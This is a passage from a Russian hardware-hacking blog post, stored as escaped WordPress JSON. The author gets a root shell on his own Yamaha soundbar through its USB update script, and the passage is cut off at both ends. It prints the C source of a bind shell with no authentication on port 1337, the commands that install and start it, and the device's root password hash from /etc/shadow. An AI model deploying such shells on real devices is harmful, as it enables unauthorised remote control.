\u0434\u0440\u0443\u0433\u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e:<\/p>\n<ul>\n<li>\n<p><code>\/bin\/upgrade_app<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/system\/workdir\/bin\/smplayer<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/system\/workdir\/bin\/localSendSocket<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/system\/workdir\/bin\/a01localupdate<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0427\u0442\u043e \u0437\u0430\u0431\u0430\u0432\u043d\u043e, \u043d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u043b \u0444\u0430\u0439\u043b\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u041f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c:<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u041a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a-\u0442\u043e \u043b\u0443\u0447\u0448\u0435. \u0412\u0437\u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430<em> <\/em><code>\/system\/workdir\/bin\/a01remoteupdate<\/code> \u043f\u043e\u0431\u043b\u0438\u0436\u0435.<\/p>\n<h3>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 a01remoteupdate<\/h3>\n<p>\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 Yamaha, \u0438 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u0440\u0435\u0437 USB (\u0438\u043d\u0430\u0447\u0435 \u043f\u043e\u0447\u0435\u043c\u0443 \u0432 \u043d\u0451\u043c \u0437\u0430\u0441\u0432\u0435\u0442\u0438\u043b\u0430\u0441\u044c \u0441\u0442\u0440\u043e\u043a\u0430 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043d\u0430\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0444\u0430\u0439\u043b\u0430?). URL \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b \u0432 <code>old.log<\/code> (\u043e \u043d\u0451\u043c \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435), \u0430 \u0432\u043e\u0442 \u0441 \u0444\u043b\u0435\u0448\u043a\u043e\u0439 \u0432\u0441\u0451 \u043a\u0443\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442\u0441\u044f <code>yamaha_usb_upgrade.sh<\/code>:<\/p>\n<figure class=\"full-width\">\n<div><figcaption>Gen_USB_upgrade()<\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u0443 \u043d\u0435 \u043a\u0440\u0430\u0441\u043e\u0442\u0430 \u043b\u0438! \u0427\u0430\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0435 \u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043b\u043e\u0433\u0438\u043a\u0435 \u0432\u043d\u0443\u0442\u0440\u0438, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0434\u043b\u044f \u043d\u0430\u0441 \u0437\u0430\u0431\u043e\u0442\u043b\u0438\u0432\u043e \u0432\u044b\u0432\u043e\u0434\u044f\u0442 \u0438\u043c\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0448\u0430\u0433. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043a\u0440\u0438\u043d \u043f\u043e\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435.<\/p>\n<h3>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 Gen_USB_upgrade()<\/h3>\n<figure class=\"full-width\">\n<div><figcaption>\u042d\u0442\u043e \u0447\u0442\u043e, \u0431\u044d\u043a\u0434\u043e\u0440?<\/figcaption><\/div>\n<\/figure>\n<p>\u042d\u0442\u043e \u0441\u0430\u043c\u043e\u0435 \u043d\u0430\u0447\u0430\u043b\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u042f \u0441\u0440\u0430\u0437\u0443 \u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043d\u0430 \u044d\u0442\u043e\u0442 \u043a\u0443\u0441\u043e\u043a, \u0442\u0443\u0442 \u0436\u0435 \u043f\u0435\u0440\u0435\u0448\u0451\u043b \u043a \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0435 \u0430\u043f\u0434\u0435\u0439\u0442\u043e\u0432. \u0410 \u0432\u043e\u0442 \u0438 \u0437\u0440\u044f! \u0421\u0430\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>\/media\/<\/code> \u2014 \u044d\u0442\u043e \u043d\u0430\u0448\u0430 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f USB-\u0444\u043b\u0435\u0448\u043a\u0430. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0438\u0449\u0435\u0442 \u0442\u0430\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0444\u0430\u0439\u043b\u0438\u043a <code>yamaha_usb_upgrade.sh<\/code>, \u0445\u043e\u0442\u044f \u043c\u044b \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u043e \u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0444\u043b\u0435\u0448\u043a\u0443 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0438\u043a \u0441 \u0432\u0435\u0440\u0441\u0438\u0435\u0439. \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445?! \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c.<\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0444\u0430\u0439\u043b\u0438\u043a <code>yamaha_usb_upgrade.sh<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u044b\u0432\u0435\u0434\u0435\u0442 \u043d\u0430\u043c \u0432\u0441\u0435 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b:<\/p>\n<pre><code class=\"bash\">\/bin\/mount > \/media\/mount.txt<\/code><\/pre>\n<p>\u0417\u0430\u0436\u0438\u043c\u0430\u0435\u043c \u043a\u043d\u043e\u043f\u043a\u0438 <code>VOLUME-<\/code> \u0438 <code>POWER<\/code>, \u043f\u043e\u043a\u0430 \u043b\u0430\u043c\u043f\u043e\u0447\u043a\u0430 Wi-Fi \u043d\u0435 \u043d\u0430\u0447\u043d\u0451\u0442 \u043c\u0438\u0433\u0430\u0442\u044c \u2014 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0448\u0451\u043b. \u041a\u043e\u0433\u0434\u0430 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u0444\u043b\u0435\u0448\u043a\u0443 \u0438\u2026 \u0432\u0443\u0430\u043b\u044f:<\/p>\n<details class=\"spoiler\">\n<summary>mount.txt<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"bash\">ubi0:aud8516-consys-slc-rootfs on \/ type ubifs (rw,relatime) devtmpfs on \/dev type devtmpfs (rw,relatime,size=56156k,nr_inodes=14039,mode=755) sysfs on \/sys type sysfs (rw,nosuid,nodev,noexec,relatime) proc on \/proc type proc (rw,relatime) tmpfs on \/dev\/shm type tmpfs (rw,nosuid,nodev) devpts on \/dev\/pts type devpts (rw,relatime,gid=5,mode=620) tmpfs on \/run type tmpfs (rw,nosuid,nodev,mode=755) tmpfs on \/sys\/fs\/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) cgroup  on \/sys\/fs\/cgroup\/systemd type cgroup  (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=\/lib\/systemd\/systemd-cgroups-agent,name=systemd) cgroup on \/sys\/fs\/cgroup\/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) configfs on \/sys\/kernel\/config type configfs (rw,relatime) debugfs on \/sys\/kernel\/debug type debugfs (rw,relatime) tmpfs on \/tmp type tmpfs (rw) mqueue on \/dev\/mqueue type mqueue (rw,relatime) ubi1_0 on \/data type ubifs (rw,relatime,sync) ubi1_0 on \/var type ubifs (rw,relatime,sync) tmpfs on \/tmp type tmpfs (rw,relatime,size=81920k) tmpfs on \/var\/volatile type tmpfs (rw,relatime) tmpfs on \/data\/var\/volatile type tmpfs (rw,relatime) adb on \/dev\/usb-ffs\/adb type functionfs (rw,relatime) \/dev\/sda1  on \/media type vfat  (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0421\u0440\u0430\u0437\u0443 \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0451 \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 <code>rw<\/code> (read-write). \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u044b \u0441 \u043d\u0430\u0448\u0438\u043c \u0431\u044d\u043a\u0434\u043e\u0440\u043d\u044b\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u043c \u043c\u043e\u0436\u0435\u043c \u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0432\u043e\u043e\u0431\u0449\u0435 \u0432\u0441\u0451 \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e! \u0418 \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043c\u043d\u0435, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u0437\u0430\u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440  \u0447\u0435\u0440\u0435\u0437 telnetd. \u041f\u043e\u043a\u043e\u043f\u0430\u0432\u0448\u0438\u0441\u044c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445, \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0447\u0435\u0440\u0435\u0437 busybox, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442,  \u0432\u0441\u0451 \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u043b\u0438 \u0432 \u043d\u0451\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 telnetd,  ftpd \u0438 \u0442. \u043f. \u041a\u0430\u043a \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043f\u043e\u0437\u0436\u0435, \u043d\u0435\u0442, \u043d\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b. \u0417\u043d\u0430\u0447\u0438\u0442, \u0441\u043d\u0430\u0447\u0430\u043b\u0430  \u043d\u0443\u0436\u043d\u043e \u043f\u043e\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0441\u0432\u043e\u0439.<\/p>\n<p>\u041f\u043e\u043a\u0430 \u044f \u0438\u0441\u043a\u0430\u043b \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 busybox\/telnetd, \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432 static \u043f\u043e\u0434 ARM64, \u044f \u0431\u044b\u0441\u0442\u0440\u0435\u043d\u044c\u043a\u043e \u043d\u0430\u0432\u0430\u044f\u043b \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 stackoverflow \u0438 Github:<\/p>\n<details class=\"spoiler\">\n<summary>shell_c.c<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"cpp\">#include &lt;stdio.h>   #include &lt;unistd.h> #include &lt;sys\/types.h>    #include &lt;sys\/socket.h>   #include &lt;netinet\/in.h>   #include &lt;string.h>    int host_sockid; int client_sockid;        struct sockaddr_in hostaddr;    int main() {       host_sockid = socket(PF_INET, SOCK_STREAM, 0);          hostaddr.sin_family = AF_INET;       hostaddr.sin_port = htons(1337);       hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);        bind(host_sockid, (struct sockaddr*) &amp;hostaddr, sizeof(hostaddr));        listen(host_sockid, 2);      char buf[8192]; char tmp[8192]; char pp[256];  while (1) { client_sockid = accept(host_sockid, NULL, NULL);  memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); memset(pp, 0, 256);  int sz = recv(client_sockid, buf, sizeof(buf), 0); buf[sz] = 0; snprintf(tmp, 8192, \"%s 2>&amp;1\", buf);   FILE* stream = popen(tmp, \"r\");  if (stream) {     while (!feof(stream)) { if (fgets(pp, 256, stream) != NULL) { int len = strlen(pp); send(client_sockid, pp, len, 0); } } }  close(client_sockid); pclose(stream); }       close(host_sockid);              return 0;   } <\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0422\u0443\u0442 \u0432\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e: \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u043a\u0443 \u043d\u0430 \u043f\u043e\u0440\u0442\u0443 1337, \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u043a \u043d\u0435\u0439 \u0432\u044b\u0432\u043e\u0434 <code>stderr<\/code> \u0438 <code>stdout<\/code>,\u00a0\u043f\u0435\u0440\u0435\u0434\u0430\u0451\u043c \u0432 <code>popen()<\/code>, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0435\u0431\u0435 \u043e\u0431\u0440\u0430\u0442\u043d\u043e.<\/p>\n<p>\u041f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a \u0448\u0435\u043b\u043b\u0430 \u0438\u0437 \u0441\u043a\u0440\u0438\u043f\u0442\u0430:<\/p>\n<pre><code class=\"bash\">chmod +x \/media\/shell_c \/media\/shell_c &amp;<\/code><\/pre>\n<p>\u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0443 \u043c\u0435\u043d\u044f \u044d\u0442\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e. \u0421\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u043d\u0430 FAT32 \u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0444\u043b\u0430\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u0430 \u0434\u043b\u044f \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u043d\u0430\u0440\u044c \u043a\u0443\u0434\u0430-\u0442\u043e \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0432 <code>\/usr\/bin<\/code>:<\/p>\n<pre><code class=\"bash\">cp \/media\/shell_c \/usr\/bin\/shell_c chmod +x \/usr\/bin\/shell_c \/usr\/bin\/shell_c &amp;<\/code><\/pre>\n<p>\u0412 \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0440\u0430\u0437 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043a\u043e\u043b\u043e\u043d\u043a\u0443, \u0432\u0442\u044b\u043a\u0430\u0435\u043c \u0444\u043b\u0435\u0448\u043a\u0443, \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c nmap-\u043e\u043c:<\/p>\n<pre><code class=\"bash\">sudo nmap -p1337 192.168.0.164<\/code><\/pre>\n<p>\u041b\u0430\u0440\u0447\u0438\u043a, \u043a\u0430\u043a \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u043e\u0441\u044c, \u043e\u0442\u043a\u0440\u044b\u043b\u0441\u044f, \u0438 \u043c\u043e\u0435\u0439 \u0440\u0430\u0434\u043e\u0441\u0442\u0438 \u043d\u0435 \u0431\u044b\u043b\u043e \u043f\u0440\u0435\u0434\u0435\u043b\u0430! \u0414\u043b\u044f \u043f\u0440\u043e\u0431\u044b \u0432\u0432\u043e\u0434\u0438\u043c <code>ls \/<\/code> \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043a\u043e\u0440\u043d\u044f \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u042d\u0442\u043e \u043f\u043e\u0431\u0435\u0434\u0430! \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u0438 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 busybox \u043f\u043e\u0434\u043b\u043e\u0436\u0438\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a \u0442\u043e\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0442\u0430\u043a\u0438 \u043d\u0430\u0448\u0451\u043b\u0441\u044f: <a href=\"https:\/\/github.com\/EXALAB\/Busybox-static\/blob\/main\/busybox_arm64\">busybox_arm64<\/a>. \u0411\u0443\u0434\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0435\u0433\u043e \u043f\u043e\u043a\u0430 \u0435\u0449\u0451 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0448\u0435\u043b\u043b, \u0430 \u043f\u043e\u0442\u043e\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0430\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a\u0430.<\/p>\n<h3>\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c telnetd<\/h3>\n<p>\u0418\u0442\u0430\u043a, <code>busybox_arm64 telnetd<\/code> \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 23\/TCP \u2014 \u0442\u043e\u043c\u0443 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u043e\u0439\u0442\u0438, \u043d\u043e \u043d\u0430\u0441 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442 \u043f\u0440\u043e\u0441\u044c\u0431\u0430 \u0432\u0432\u0435\u0441\u0442\u0438 \u043b\u043e\u0433\u0438\u043d \u0438 \u043f\u0430\u0440\u043e\u043b\u044c.<\/p>\n<figure class=\"\">\n<div><figcaption>Hello, SoundBarSetup_F2A6<\/figcaption><\/div>\n<\/figure>\n<p>\u0418\u0449\u0435\u043c \u043f\u043e \u0440\u0430\u043d\u0435\u0435 \u0441\u0434\u0430\u043c\u043f\u043b\u0435\u043d\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 <code>shadow<\/code> \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435:<\/p>\n<pre><code class=\"assembly\">root:$6$WXQ1C\/rKpzLochd$IGtembLICL9VAAHFXbyVfVDzAEk8m93M.oCVxeOMsnZfSqd1JhgCwW9o1MYzzTRkhEvAanxLDRtj28\/OuVz5E0:19146:0:99999:7::: daemon:*:19146:0:99999:7::: bin:*:19146:0:99999:7::: sys:*:19146:0:99999:7::: sync:*:19146:0:99999:7::: games:*:19146:0:99999:7::: man:*:19146:0:99999:7::: lp:*:19146:0:99999:7::: mail:*:19146:0:99999:7::: news:*:19146:0:99999:7::: uucp:*:19146:0:99999:7::: proxy:*:19146:0:99999:7::: www-data:*:19146:0:99999:7::: backup:*:19146:0:99999:7::: list:*:19146:0:99999:7::: irc:*:19146:0:99999:7::: gnats:*:19146:0:99999:7::: ntp:!:19146:::::: systemd-timesync:!:19146:::::: messagebus:!:19146:::::: nobody:*:19146:0:99999:7:::<\/code><\/pre>\n<p>\u0412\u0438\u0434\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>root<\/code> \u0438 \u0435\u0433\u043e \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. \u041d\u0435 \u0442\u0435\u0440\u044f\u044f \u043d\u0430\u0434\u0435\u0436\u0434\u044b \u0434\u043e\u0431\u0438\u0442\u044c \u0436\u0435\u043b\u0435\u0437\u043a\u0443, \u0441\u0443\u0451\u043c \u0441\u0442\u0440\u043e\u0447\u043a\u0443 \u0432 <code>hashcat<\/code> \u0438\u2026 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043d\u0430 \u0443\u0434\u0438\u0432\u043b\u0435\u043d\u0438\u0435 <\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-358085","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/358085","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=358085"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/358085\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=358085"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=358085"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=358085"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}